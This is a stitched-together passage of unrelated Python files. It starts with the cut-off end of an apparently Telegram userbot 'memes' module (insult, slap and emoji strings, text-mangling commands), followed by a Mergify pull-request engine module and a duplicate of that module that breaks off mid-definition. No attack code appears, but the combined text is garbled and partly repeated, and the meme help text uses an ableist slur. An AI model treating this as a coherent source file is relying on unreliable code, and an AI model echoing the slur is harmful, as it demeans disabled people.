time ago, in a galaxy far far away... Someone would've cared about that. Not anymore though.", "Hey, look at them! They're running from the inevitable banhammer... Cute.", "Han shot first. So will I.", "What are you running after, a white rabbit?", "As The Doctor would say... RUN!", ] HELLOSTR = [ "Hi !", "‘Ello, gov'nor!", "What’s crackin’?", "Howdy, howdy ,howdy!", "Hello, who's there, I'm talking.", "You know who this is.", "Yo!", "Whaddup.", "Greetings and salutations!", "Hello, sunshine!", "`Hey, howdy, hi!`", "What’s kickin’, little chicken?", "Peek-a-boo!", "Howdy-doody!", "`Hey there, freshman!`", "`I come in peace!`", "`I come for peace!`", "Ahoy, matey!", "`Hi !`", ] PROSTR = [ "`You is pro user.`", "`Pros here -_- Time to Leave`", "`Pros everywhere`", "`Pro Pro Pro ; What a tragedy`", ] NUBSTR = [ "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", "`Only few here were Pro and then you join the Party`", ] SHGS = [ "┐(´д`)┌", "┐(´~`)┌", "┐(´ー`)┌", "┐( ̄ヘ ̄)┌", "╮(╯∀╰)╭", "╮(╯_╰)╭", "┐(´д`)┌", "┐(´∀`)┌", "ʅ(́◡◝)ʃ", "┐(゚~゚)┌", "┐('д')┌", "┐(‘~`;)┌", "ヘ(´-`;)ヘ", "┐( -“-)┌", "ʅ(´◔౪◔)ʃ", "ヽ(゜~゜o)ノ", "ヽ(~~~ )ノ", "┐(~ー~;)┌", "┐(-。ー;)┌", r"¯\_(ツ)_/¯", r"¯\_(⊙_ʖ⊙)_/¯", r"¯\_༼ ಥ ‿ ಥ ༽_/¯", "乁( ⁰͡ Ĺ̯ ⁰͡ ) ㄏ", ] CRI = [ "أ‿أ", "╥﹏╥", "(;﹏;)", "(ToT)", "(┳Д┳)", "(ಥ﹏ಥ)", "(;へ:)", "(T_T)", "(πーπ)", "(T▽T)", "(⋟﹏⋞)", "(iДi)", "(´Д⊂ヽ", "(;Д;)", "(>﹏<)", "(TдT)", "(つ﹏⊂)", "༼☯﹏☯༽", "(ノ﹏ヽ)", "(ノAヽ)", "(╥_╥)", "(T⌓T)", "(༎ຶ⌑༎ຶ)", "(☍﹏⁰)。", "(ಥ_ʖಥ)", "(つд⊂)", "(≖͞_≖̥)", "(இ﹏இ`。)", "༼ಢ_ಢ༽", "༼ ༎ຶ ෴ ༎ຶ༽", ] SLAP_TEMPLATES = [ "{hits} {victim} with a {item}.", "{hits} {victim} in the face with a {item}.", "{hits} {victim} around a bit with a {item}.", "`{throws} a {item} at {victim}.`", "grabs a {item} and {throws} it at {victim}'s face.", "{hits} a {item} at {victim}.", "{throws} a few {item} at {victim}.", "grabs a {item} and {throws} it in {victim}'s face.", "launches a {item} in {victim}'s general direction.", "sits on {victim}'s face while slamming a {item} {where}.", "starts slapping {victim} silly with a {item}.", "pins {victim} down and repeatedly {hits} them with a {item}.", "grabs up a {item} and {hits} {victim} with it.", "starts slapping {victim} silly with a {item}.", "holds {victim} down and repeatedly {hits} them with a {item}.", "prods {victim} with a {item}.", "picks up a {item} and {hits} {victim} with it.", "`ties {victim} to a chair and {throws} a {item} at them.`", "{hits} {victim} {where} with a {item}.", "ties {victim} to a pole and whips them {where} with a {item}." "gave a friendly push to help {victim} learn to swim in lava.", "sent {victim} to /dev/null.", "sent {victim} down the memory hole.", "beheaded {victim}.", "threw {victim} off a building.", "replaced all of {victim}'s music with Nickelback.", "spammed {victim}'s email.", "made {victim} a knuckle sandwich.", "slapped {victim} with pure nothing.", "hit {victim} with a small, interstellar spaceship.", "quickscoped {victim}.", "put {victim} in check-mate.", "RSA-encrypted {victim} and deleted the private key.", "put {victim} in the friendzone.", "slaps {victim} with a DMCA takedown request!" ] ITEMS = [ "cast iron skillet", "large trout", "baseball bat", "cricket bat", "wooden cane", "nail", "printer", "shovel", "pair of trousers", "CRT monitor", "diamond sword", "baguette", "physics textbook", "toaster", "portrait of Richard Stallman", "television", "mau5head", "five ton truck", "roll of duct tape", "book", "laptop", "old television", "sack of rocks", "rainbow trout", "cobblestone block", "lava bucket", "rubber chicken", "spiked bat", "gold block", "fire extinguisher", "heavy rock", "chunk of dirt", "beehive", "piece of rotten meat", "bear", "ton of bricks", ] THROW = [ "throws", "flings", "chucks", "hurls", ] HIT = [ "hits", "whacks", "slaps", "smacks", "bashes", ] WHERE = ["in the chest", "on the head", "on the butt", "on the crotch"] # =========================================== @register(outgoing=True, pattern=r"^.(\w+)say (.*)") async def univsaye(cowmsg): """ For .cowsay module, userbot wrapper for cow which says things. """ arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) if arg == "cow": arg = "default" if arg not in cow.COWACTERS: return cheese = cow.get_cow(arg) cheese = cheese() await cowmsg.edit(f"`{cheese.milk(text).replace('`', '´')}`") @register(outgoing=True, pattern="^:/$", ignore_unsafe=True) async def kek(keks): """ Check yourself ;)""" uio = ["/", "\\"] for i in range(1, 15): time.sleep(0.3) await keks.edit(":" + uio[i % 2]) @register(outgoing=True, pattern=r"^.coinflip (.*)") async def coin(event): r = choice(["heads", "tails"]) input_str = event.pattern_match.group(1) if input_str: input_str = input_str.lower() if r == "heads": if input_str == "heads": await event.edit( "The coin landed on: **Heads**.\nYou were correct.") elif input_str == "tails": await event.edit( "The coin landed on: **Heads**.\nYou weren't correct, try again ..." ) else: await event.edit("The coin landed on: **Heads**.") elif r == "tails": if input_str == "tails": await event.edit( "The coin landed on: **Tails**.\nYou were correct.") elif input_str == "heads": await event.edit( "The coin landed on: **Tails**.\nYou weren't correct, try again ..." ) else: await event.edit("The coin landed on: **Tails**.") @register(pattern="^.slap(?: |$)(.*)", outgoing=True) async def who(event): """ slaps a user, or get slapped if not a reply. """ replied_user = await get_user_from_event(event) if replied_user: replied_user = replied_user[0] else: return caption = await slap(replied_user, event) try: await event.edit(caption) except BaseException: await event.edit( "`Can't slap this person, need to fetch some sticks and stones !!`" ) async def slap(replied_user, event): """ Construct a funny slap sentence !! """ user_id = replied_user.id first_name = replied_user.first_name username = replied_user.username if username: slapped = "@{}".format(username) else: slapped = f"[{first_name}](tg://user?id={user_id})" temp = choice(SLAP_TEMPLATES) item = choice(ITEMS) hit = choice(HIT) throw = choice(THROW) where = choice(WHERE) caption = "..." + temp.format( victim=slapped, item=item, hits=hit, throws=throw, where=where) return caption @register(outgoing=True, pattern="^-_-$", ignore_unsafe=True) async def lol(lel): """ Ok... """ okay = "-_-" for i in range(10): okay = okay[:-1] + "_-" await lel.edit(okay) @register(outgoing=True, pattern="^.(yes|no|maybe|decide)$") async def decide(event): decision = event.pattern_match.group(1).lower() message_id = event.reply_to_msg_id if event.reply_to_msg_id else None if decision != "decide": r = requests.get(f"https://yesno.wtf/api?force={decision}").json() else: r = requests.get(f"https://yesno.wtf/api").json() await event.delete() await event.client.send_message(event.chat_id, str(r["answer"]).upper(), reply_to=message_id, file=r["image"]) @register(outgoing=True, pattern="^;_;$", ignore_unsafe=True) async def fun(e): t = ";_;" for j in range(10): t = t[:-1] + "_;" await e.edit(t) @register(outgoing=True, pattern="^.fp$") async def facepalm(e): """ Facepalm 🤦‍♂ """ await e.edit("🤦‍♂") @register(outgoing=True, pattern="^.cry$") async def cry(e): """ y u du dis, i cry everytime !! """ await e.edit(choice(CRI)) @register(outgoing=True, pattern="^.insult$") async def insult(e): """ I make you cry !! """ await e.edit(choice(INSULT_STRINGS)) @register(outgoing=True, pattern="^.cp(?: |$)(.*)") async def copypasta(cp_e): """ Copypasta the famous meme """ textx = await cp_e.get_reply_message() message = cp_e.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await cp_e.edit("`😂🅱️IvE👐sOME👅text👅for✌️Me👌tO👐MAkE👀iT💞funNy!💦`") return reply_text = choice(EMOJIS) # choose a random character in the message to be substituted with 🅱️ b_char = choice(message).lower() for owo in message: if owo == " ": reply_text += choice(EMOJIS) elif owo in EMOJIS: reply_text += owo reply_text += choice(EMOJIS) elif owo.lower() == b_char: reply_text += "🅱️" else: if bool(getrandbits(1)): reply_text += owo.upper() else: reply_text += owo.lower() reply_text += choice(EMOJIS) await cp_e.edit(reply_text) @register(outgoing=True, pattern="^.vapor(?: |$)(.*)") async def vapor(vpr): """ Vaporize everything! """ reply_text = list() textx = await vpr.get_reply_message() message = vpr.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await vpr.edit("`Give some text for vapor!`") return for charac in message: if 0x21 <= ord(charac) <= 0x7F: reply_text.append(chr(ord(charac) + 0xFEE0)) elif ord(charac) == 0x20: reply_text.append(chr(0x3000)) else: reply_text.append(charac) await vpr.edit("".join(reply_text)) @register(outgoing=True, pattern="^.str(?: |$)(.*)") async def stretch(stret): """ Stretch it.""" textx = await stret.get_reply_message() message = stret.text message = stret.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await stret.edit("`GiiiiiiiB sooooooomeeeeeee teeeeeeext!`") return count = randint(3, 10) reply_text = sub(r"([aeiouAEIOUaeiouAEIOUаеиоуюяыэё])", (r"\1" * count), message) await stret.edit(reply_text) @register(outgoing=True, pattern="^.zal(?: |$)(.*)") async def zal(zgfy): """ Invoke the feeling of chaos. """ reply_text = list() textx = await zgfy.get_reply_message() message = zgfy.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await zgfy.edit( "`gͫ ̆ i̛ ̺ v͇̆ ȅͅ a̢ͦ s̴̪ c̸̢ ä̸ rͩͣ y͖͞ t̨͚ é̠ x̢͖ t͔͛`" ) return for charac in message: if not charac.isalpha(): reply_text.append(charac) continue for _ in range(0, 3): randint = randint(0, 2) if randint == 0: charac = charac.strip() + \ choice(ZALG_LIST[0]).strip() elif randint == 1: charac = charac.strip() + \ choice(ZALG_LIST[1]).strip() else: charac = charac.strip() + \ choice(ZALG_LIST[2]).strip() reply_text.append(charac) await zgfy.edit("".join(reply_text)) @register(outgoing=True, pattern="^.hi$") async def hoi(hello): """ Greet everyone! """ await hello.edit(choice(HELLOSTR)) @register(outgoing=True, pattern="^.pro$") async def pero(proo): """ Greet everyone! """ await proo.edit(choice(PROSTR)) @register(outgoing=True, pattern="^.nub$") async def noob(nubdo): """ Greet everyone! """ await nubdo.edit(choice(NUBSTR)) @register(outgoing=True, pattern="^.owo(?: |$)(.*)") async def faces(owo): """ UwU """ textx = await owo.get_reply_message() message = owo.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await owo.edit("` UwU no text given! `") return reply_text = sub(r"(r|l)", "w", message) reply_text = sub(r"(R|L)", "W", reply_text) reply_text = sub(r"n([aeiou])", r"ny\1", reply_text) reply_text = sub(r"N([aeiouAEIOU])", r"Ny\1", reply_text) reply_text = sub(r"\!+", " " + choice(UWUS), reply_text) reply_text = reply_text.replace("ove", "uv") reply_text += " " + choice(UWUS) await owo.edit(reply_text) @register(outgoing=True, pattern="^.react$") async def react_meme(react): """ Make your userbot react to everything. """ await react.edit(choice(FACEREACTS)) @register(outgoing=True, pattern="^.shg$") async def shrugger(shg): r""" ¯\_(ツ)_/¯ """ await shg.edit(choice(SHGS)) @register(outgoing=True, pattern="^.chase$") async def police(chase): """ Run boi run, i'm gonna catch you !! """ await chase.edit(choice(CHASE_STR)) @register(outgoing=True, pattern="^.run$") async def runner_lol(run): """ Run, run, RUNNN! """ await run.edit(choice(RUNS_STR)) @register(outgoing=True, pattern="^.metoo$") async def metoo(hahayes): """ Haha yes """ await hahayes.edit(choice(METOOSTR)) @register(outgoing=True, pattern="^.Oof$") async def Oof(e): t = "Oof" for j in range(16): t = t[:-1] + "of" await e.edit(t) @register(outgoing=True, pattern="^.oem$") async def Oem(e): t = "Oem" for j in range(16): t = t[:-1] + "em" await e.edit(t) @register(outgoing=True, pattern="^.Oem$") async def Oem(e): t = "Oem" for j in range(16): t = t[:-1] + "em" await e.edit(t) @register(outgoing=True, pattern="^.10iq$") async def iqless(e): await e.edit("♿") @register(outgoing=True, pattern="^.moon$") async def moon(event): deq = deque(list("🌗🌘🌑🌒🌓🌔🌕🌖")) try: for x in range(32): await sleep(0.1) await event.edit("".join(deq)) deq.rotate(1) except BaseException: return @register(outgoing=True, pattern="^.clock$") async def clock(event): deq = deque(list("🕙🕘🕗🕖🕕🕔🕓🕒🕑🕐🕛")) try: for x in range(32): await sleep(0.1) await event.edit("".join(deq)) deq.rotate(1) except BaseException: return @register(outgoing=True, pattern="^.mock(?: |$)(.*)") async def spongemocktext(mock): """ Do it and find the real fun. """ reply_text = list() textx = await mock.get_reply_message() message = mock.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await mock.edit("`gIvE sOMEtHInG tO MoCk!`") return for charac in message: if charac.isalpha() and randint(0, 1): to_app = charac.upper() if charac.islower() else charac.lower() reply_text.append(to_app) else: reply_text.append(charac) await mock.edit("".join(reply_text)) @register(outgoing=True, pattern="^.clap(?: |$)(.*)") async def claptext(memereview): """ Praise people! """ textx = await memereview.get_reply_message() message = memereview.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await memereview.edit("`Hah, I don't clap pointlessly!`") return reply_text = "👏 " reply_text += message.replace(" ", " 👏 ") reply_text += " 👏" await memereview.edit(reply_text) @register(outgoing=True, pattern="^.bt$") async def bluetext(bt_e): """ Believe me, you will find this useful. """ if await bt_e.get_reply_message() and bt_e.is_group: await bt_e.edit( "/BLUETEXT /MUST /CLICK.\n" "/ARE /YOU /A /STUPID /ANIMAL /WHICH /IS /ATTRACTED /TO /COLOURS?") @register(outgoing=True, pattern=r"^.f (.*)") async def payf(event): paytext = event.pattern_match.group(1) pay = "{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}\n{}".format( paytext * 8, paytext * 8, paytext * 2, paytext * 2, paytext * 2, paytext * 6, paytext * 6, paytext * 2, paytext * 2, paytext * 2, paytext * 2, paytext * 2) await event.edit(pay) @register(outgoing=True, pattern="^.lfy (.*)") async def let_me_google_that_for_you(lmgtfy_q): textx = await lmgtfy_q.get_reply_message() qry = lmgtfy_q.pattern_match.group(1) if qry: query = str(qry) elif textx: query = textx query = query.message query_encoded = query.replace(" ", "+") lfy_url = f"http://lmgtfy.com/?s=g&iie=1&q={query_encoded}" payload = {'format': 'json', 'url': lfy_url} r = requests.get('http://is.gd/create.php', params=payload) await lmgtfy_q.edit(f"Here you are, help yourself.\ \n[{query}]({r.json()['shorturl']})") @register(pattern=r".scam(?: |$)(.*)", outgoing=True) async def scam(event): """ Just a small command to fake chat actions for fun !! """ options = [ 'typing', 'contact', 'game', 'location', 'voice', 'round', 'video', 'photo', 'document', 'cancel' ] input_str = event.pattern_match.group(1) args = input_str.split() if len(args) == 0: # Let bot decide action and time scam_action = choice(options) scam_time = randint(30, 60) elif len(args) == 1: # User decides time/action, bot decides the other. try: scam_action = str(args[0]).lower() scam_time = randint(30, 60) except ValueError: scam_action = choice(options) scam_time = int(args[0]) elif len(args) == 2: # User decides both action and time scam_action = str(args[0]).lower() scam_time = int(args[1]) else: await event.edit("`Invalid Syntax !!`") return try: if (scam_time > 0): await event.delete() async with event.client.action(event.chat_id, scam_action): await sleep(scam_time) except BaseException: return @register(pattern=r".type(?: |$)(.*)", outgoing=True) async def typewriter(typew): """ Just a small command to make your keyboard become a typewriter! """ textx = await typew.get_reply_message() message = typew.pattern_match.group(1) if message: pass elif textx: message = textx.text else: await typew.edit("`Give a text to type!`") return sleep_time = 0.03 typing_symbol = "|" old_text = "" await typew.edit(typing_symbol) await sleep(sleep_time) for character in message: old_text = old_text + "" + character typing_text = old_text + "" + typing_symbol await typew.edit(typing_text) await sleep(sleep_time) await typew.edit(old_text) await sleep(sleep_time) CMD_HELP.update({ "memes": ".cowsay\ \nUsage: cow which says things.\ \n\n:/\ \nUsage: Check yourself ;)\ \n\n-_-\ \nUsage: Ok...\ \n\n;_;\ \nUsage: Like `-_-` but crying.\ \n\n.cp\ \nUsage: Copypasta the famous meme\ \n\n.vapor\ \nUsage: Vaporize everything!\ \n\n.str\ \nUsage: Stretch it.\ \n\n.10iq\ \nUsage: You retard !!\ \n\n.zal\ \nUsage: Invoke the feeling of chaos.\ \n\nOem\ \nUsage: Oeeeem\ \n\nOof\ \nUsage: Ooooof\ \n\n.fp\ \nUsage: Facepalm :P\ \n\n.moon\ \nUsage: kensar moon animation.\ \n\n.clock\ \nUsage: kensar clock animation.\ \n\n.hi\ \nUsage: Greet everyone!\ \n\n.coinflip <heads/tails>\ \nUsage: Flip a coin !!\ \n\n.owo\ \nUsage: UwU\ \n\n.react\ \nUsage: Make your userbot react to everything.\ \n\n.slap\ \nUsage: reply to slap them with random objects !!\ \n\n.cry\ \nUsage: y u du dis, i cri.\ \n\n.shg\ \nUsage: Shrug at it !!\ \n\n.run\ \nUsage: Let Me Run, run, RUNNN!\ \n\n.chase\ \nUsage: You better start running\ \n\n.metoo\ \nUsage: Haha yes\ \n\n.mock\ \nUsage: Do it and find the real fun.\ \n\n.clap\ \nUsage: Praise people!\ \n\n.f <emoji/character>\ \nUsage: Pay Respects.\ \n\n.bt\ \nUsage: Believe me, you will find this useful.\ \n\n.type\ \nUsage: Just a small command to make your keyboard become a typewriter!\ \n\n.lfy <query>\ \nUsage: Let me Google that for you real quick !!\ \n\n.decide [Alternates: (.yes, .no, .maybe)]\ \nUsage: Make a quick decision.\ \n\n.scam <action> <time>\ \n[Available Actions: (typing, contact, game, location, voice, round, video, photo, document, cancel)]\ \nUsage: Create fake chat actions, for fun. (Default action: typing)\ \n\n\nThanks to 🅱️ottom🅱️ext🅱️ot (@NotAMemeBot) for some of these." })
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import typing import daiquiri import first from mergify_engine import check_api from mergify_engine import config from mergify_engine import context from mergify_engine import date from mergify_engine import github_types from mergify_engine import rules from mergify_engine import subscription from mergify_engine import utils from mergify_engine.clients import github from mergify_engine.clients import http from mergify_engine.engine import actions_runner from mergify_engine.engine import commands_runner from mergify_engine.engine import queue_runner LOG = daiquiri.getLogger(__name__) MERGIFY_BUILTIN_CONFIG_YAML = f""" pull_request_rules: - name: delete backport/copy branch (Mergify rule) hidden: true conditions: - author={config.BOT_USER_LOGIN} - head~=^mergify/(bp|copy)/ - closed actions: delete_head_branch: """ MERGIFY_BUILTIN_CONFIG = rules.UserConfigurationSchema( rules.YamlSchema(MERGIFY_BUILTIN_CONFIG_YAML) ) DEFAULT_CONFIG_FILE = context.MergifyConfigFile( decoded_content=b"", type="file", content="<default>", sha=github_types.SHAType("<default>"), path="<default>", ) async def _check_configuration_changes( ctxt: context.Context, current_mergify_config_file: typing.Optional[context.MergifyConfigFile], ) -> bool: if ctxt.pull["base"]["repo"]["default_branch"] != ctxt.pull["base"]["ref"]: return False config_file_to_validate: typing.Optional[context.MergifyConfigFile] = None preferred_filename = ( None if current_mergify_config_file is None else current_mergify_config_file["path"] ) # NOTE(sileht): Just a shorcut to do two requests instead of three. if ctxt.pull["changed_files"] <= 100: for f in await ctxt.files: if f["filename"] in context.Repository.MERGIFY_CONFIG_FILENAMES: preferred_filename = f["filename"] break else: return False async for config_file in ctxt.repository.iter_mergify_config_files( ref=ctxt.pull["head"]["sha"], preferred_filename=preferred_filename ): if ( current_mergify_config_file is None or config_file["path"] != current_mergify_config_file["path"] ): config_file_to_validate = config_file break elif config_file["sha"] != current_mergify_config_file["sha"]: config_file_to_validate = config_file break if config_file_to_validate is None: return False try: rules.get_mergify_config(config_file_to_validate) except rules.InvalidRules as e: # Not configured, post status check with the error message await check_api.set_check_run( ctxt, "Configuration changed", check_api.Result( check_api.Conclusion.FAILURE, title="The new Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ), ) else: # Nothing to notify here, this is done within the global summary pass return True async def _get_summary_from_sha( ctxt: context.Context, sha: github_types.SHAType ) -> typing.Optional[github_types.GitHubCheckRun]: return first.first( await check_api.get_checks_for_ref( ctxt, sha, check_name=ctxt.SUMMARY_NAME, ), key=lambda c: c["app"]["id"] == config.INTEGRATION_ID, ) async def _get_summary_from_synchronize_event( ctxt: context.Context, ) -> typing.Optional[github_types.GitHubCheckRun]: synchronize_events = { typing.cast(github_types.GitHubEventPullRequest, s["data"])[ "after" ]: typing.cast(github_types.GitHubEventPullRequest, s["data"]) for s in ctxt.sources if s["event_type"] == "pull_request" and typing.cast(github_types.GitHubEventPullRequest, s["data"])["action"] == "synchronize" and "after" in s["data"] } if synchronize_events: ctxt.log.debug("checking summary from synchronize events") # NOTE(sileht): We sometimes got multiple synchronize events in a row, that's not # always the last one that has the Summary, so we also look in older ones if # necessary. after_sha = ctxt.pull["head"]["sha"] while synchronize_events: sync_event = synchronize_events.pop(after_sha, None) if sync_event: previous_summary = await _get_summary_from_sha( ctxt, sync_event["before"] ) if previous_summary and actions_runner.load_conclusions_line( ctxt, previous_summary ): ctxt.log.debug("got summary from synchronize events") return previous_summary after_sha = sync_event["before"] else: break return None async def _ensure_summary_on_head_sha(ctxt: context.Context) -> None: if ctxt.has_been_opened(): return sha = await ctxt.get_cached_last_summary_head_sha() if sha is None: ctxt.log.warning("head sha not stored in redis") elif sha != ctxt.pull["head"]["sha"]: ctxt.log.debug( "head sha changed need to copy summary", gh_pull_previous_head_sha=sha ) else: ctxt.log.debug("head sha didn't changed, no need to copy summary") return previous_summary = None if sha is not None: ctxt.log.debug("checking summary from redis") previous_summary = await _get_summary_from_sha(ctxt, sha) if previous_summary is not None: ctxt.log.debug("got summary from redis") if previous_summary is None: # NOTE(sileht): If the cached summary sha expires and the next event we got for # a pull request is "synchronize" we will lose the summary. Most of the times # it's not a big deal, but if the pull request is queued for merge, it may # be stuck. previous_summary = await _get_summary_from_synchronize_event(ctxt) if previous_summary: await ctxt.set_summary_check( check_api.Result( check_api.Conclusion(previous_summary["conclusion"]), title=previous_summary["output"]["title"], summary=previous_summary["output"]["summary"], ) ) else: ctxt.log.warning("the pull request doesn't have a summary") class T_PayloadEventIssueCommentSource(typing.TypedDict): event_type: github_types.GitHubEventType data: github_types.GitHubEventIssueComment timestamp: str async def run( ctxt: context.Context, sources: typing.List[context.T_PayloadEventSource], ) -> typing.Optional[check_api.Result]: LOG.debug("engine get context") ctxt.log.debug("engine start processing context") issue_comment_sources: typing.List[T_PayloadEventIssueCommentSource] = [] for source in sources: if source["event_type"] == "issue_comment": issue_comment_sources.append( typing.cast(T_PayloadEventIssueCommentSource, source) ) else: ctxt.sources.append(source) if ctxt.client.auth.permissions_need_to_be_updated: return check_api.Result( check_api.Conclusion.FAILURE, title="Required GitHub permissions are missing.", summary="You can accept them at https://dashboard.mergify.io/", ) if ctxt.pull["base"]["repo"]["private"] and not ctxt.subscription.has_feature( subscription.Features.PRIVATE_REPOSITORY ): ctxt.log.info("mergify disabled: private repository") return check_api.Result( check_api.Conclusion.FAILURE, title="Mergify is disabled", summary=ctxt.subscription.reason, ) config_file = await ctxt.repository.get_mergify_config_file() ctxt.configuration_changed = await _check_configuration_changes(ctxt, config_file) ctxt.log.debug("engine get configuration") if config_file is None: ctxt.log.debug("No config file using defaults") config_file = DEFAULT_CONFIG_FILE # BRANCH CONFIGURATION CHECKING try: mergify_config = rules.get_mergify_config(config_file) except rules.InvalidRules as e: # pragma: no cover ctxt.log.info( "The Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ) # Not configured, post status check with the error message for s in ctxt.sources: if s["event_type"] == "pull_request": event = typing.cast(github_types.GitHubEventPullRequest, s["data"]) if event["action"] in ("opened", "synchronize"): return check_api.Result( check_api.Conclusion.FAILURE, title="The Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ) return None # Add global and mandatory rules mergify_config["pull_request_rules"].rules.extend( MERGIFY_BUILTIN_CONFIG["pull_request_rules"].rules ) ctxt.log.debug("engine run pending commands") await commands_runner.run_pending_commands_tasks(ctxt, mergify_config) if issue_comment_sources: ctxt.log.debug("engine handle commands") for ic_source in issue_comment_sources: await commands_runner.handle( ctxt, mergify_config, ic_source["data"]["comment"]["body"], ic_source["data"]["comment"]["user"], ) if not ctxt.sources: return None await _ensure_summary_on_head_sha(ctxt) # NOTE(jd): that's fine for now, but I wonder if we wouldn't need a higher abstraction # to have such things run properly. Like hooks based on events that you could # register. It feels hackish otherwise. for s in ctxt.sources: if s["event_type"] == "pull_request": event = typing.cast(github_types.GitHubEventPullRequest, s["data"]) if event["action"] == "closed": await ctxt.clear_cached_last_summary_head_sha() break ctxt.log.debug("engine handle actions") if ctxt.is_merge_queue_pr(): return await queue_runner.handle(mergify_config["queue_rules"], ctxt) else: return await actions_runner.handle(mergify_config["pull_request_rules"], ctxt) async def create_initial_summary( redis: utils.RedisCache, event: github_types.GitHubEventPullRequest ) -> None: owner = event["repository"]["owner"]["login"] if not await redis.exists( context.Repository.get_config_location_cache_key( event["pull_request"]["base"]["repo"]["owner"]["login"], event["pull_request"]["base"]["repo"]["name"], ) ): # Mergify is probably not activated on this repo return # NOTE(sileht): It's possible that a "push" event creates a summary before we # received the pull_request/opened event. # So we check first if a summary does not already exists, to not post # the summary twice. Since this method can ran in parallel of the worker # this is not a 100% reliable solution, but if we post a duplicate summary # check_api.set_check_run() handle this case and update both to not confuse users. sha = await context.Context.get_cached_last_summary_head_sha_from_pull( redis, event["pull_request"] ) if sha is not None or sha == event["pull_request"]["head"]["sha"]: return async with github.aget_client(owner) as client: post_parameters = { "name": context.Context.SUMMARY_NAME, "head_sha": event["pull_request"]["head"]["sha"], "status": check_api.Status.IN_PROGRESS.value, "started_at": date.utcnow().isoformat(), "details_url": f"{event["pull_request"]["html_url"]}/checks", "output": { "title": "Your rules are under evaluation", "summary": "Be patient, the page will be updated soon.", }, } try: await client.post( f"/repos/{event["pull_request"]["base"]["user"]["login"]}/{event["pull_request"]["base"]["repo"]["name"]}/check-runs", api_version="antiope", json=post_parameters, ) except http.HTTPClientSideError as e: if e.status_code == 422 and "No commit found for SHA" in e.message: return raise
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import typing import daiquiri import first from mergify_engine import check_api from mergify_engine import config from mergify_engine import context from mergify_engine import date from mergify_engine import github_types from mergify_engine import rules from mergify_engine import subscription from mergify_engine import utils from mergify_engine.clients import github from mergify_engine.clients import http from mergify_engine.engine import actions_runner from mergify_engine.engine import commands_runner from mergify_engine.engine import queue_runner LOG = daiquiri.getLogger(__name__) MERGIFY_BUILTIN_CONFIG_YAML = f""" pull_request_rules: - name: delete backport/copy branch (Mergify rule) hidden: true conditions: - author={config.BOT_USER_LOGIN} - head~=^mergify/(bp|copy)/ - closed actions: delete_head_branch: """ MERGIFY_BUILTIN_CONFIG = rules.UserConfigurationSchema( rules.YamlSchema(MERGIFY_BUILTIN_CONFIG_YAML) ) DEFAULT_CONFIG_FILE = context.MergifyConfigFile( decoded_content=b"", type="file", content="<default>", sha=github_types.SHAType("<default>"), path="<default>", ) async def _check_configuration_changes( ctxt: context.Context, current_mergify_config_file: typing.Optional[context.MergifyConfigFile], ) -> bool: if ctxt.pull["base"]["repo"]["default_branch"] != ctxt.pull["base"]["ref"]: return False config_file_to_validate: typing.Optional[context.MergifyConfigFile] = None preferred_filename = ( None if current_mergify_config_file is None else current_mergify_config_file["path"] ) # NOTE(sileht): Just a shorcut to do two requests instead of three. if ctxt.pull["changed_files"] <= 100: for f in await ctxt.files: if f["filename"] in context.Repository.MERGIFY_CONFIG_FILENAMES: preferred_filename = f["filename"] break else: return False async for config_file in ctxt.repository.iter_mergify_config_files( ref=ctxt.pull["head"]["sha"], preferred_filename=preferred_filename ): if ( current_mergify_config_file is None or config_file["path"] != current_mergify_config_file["path"] ): config_file_to_validate = config_file break elif config_file["sha"] != current_mergify_config_file["sha"]: config_file_to_validate = config_file break if config_file_to_validate is None: return False try: rules.get_mergify_config(config_file_to_validate) except rules.InvalidRules as e: # Not configured, post status check with the error message await check_api.set_check_run( ctxt, "Configuration changed", check_api.Result( check_api.Conclusion.FAILURE, title="The new Mergify configuration is invalid", summary=str(e), annotations=e.get_annotations(e.filename), ), ) else: # Nothing to notify here, this is done within the global summary pass return True async def _get_summary_from_sha( ctxt: context.Context, sha: github_types.SHAType ) -> typing.Optional[github_types.GitHubCheckRun]: return first.first( await check_api.get_checks_for_ref( ctxt, sha, check_name=ctxt.SUMMARY_NAME, ), key=lambda c: c["app"]["id"] == config.INTEGRATION_ID, ) async def _get_summary_from_synchronize_event( ctxt: context.Context, ) -> typing.Optional[github_types.GitHubCheckRun]: synchronize_events = { typing.cast(github_types.GitHubEventPullRequest, s["data"])[ "after" ]: typing.cast(github_types.GitHubEventPullRequest, s["data"]) for s in ctxt.sources if s["event_type"] == "pull_request" and typing.cast(github_types.GitHubEventPullRequest, s["data"])["action"] == "synchronize" and "after" in s["data"] } if synchronize_events: ctxt.log.debug("checking summary from synchronize events") # NOTE(sileht): We sometimes got multiple synchronize events in a row, that's not # always the last one that has the Summary, so we also look in older ones if # necessary. after_sha = ctxt.pull["head"]["sha"] while synchronize_events: sync_event = synchronize_events.pop(after_sha, None) if sync_event: previous_summary = await _get_summary_from_sha( ctxt, sync_event["before"] ) if previous_summary and actions_runner.load_conclusions_line( ctxt, previous_summary ): ctxt.log.debug("got summary from synchronize events") return previous_summary after_sha = sync_event["before"] else: break return None async def 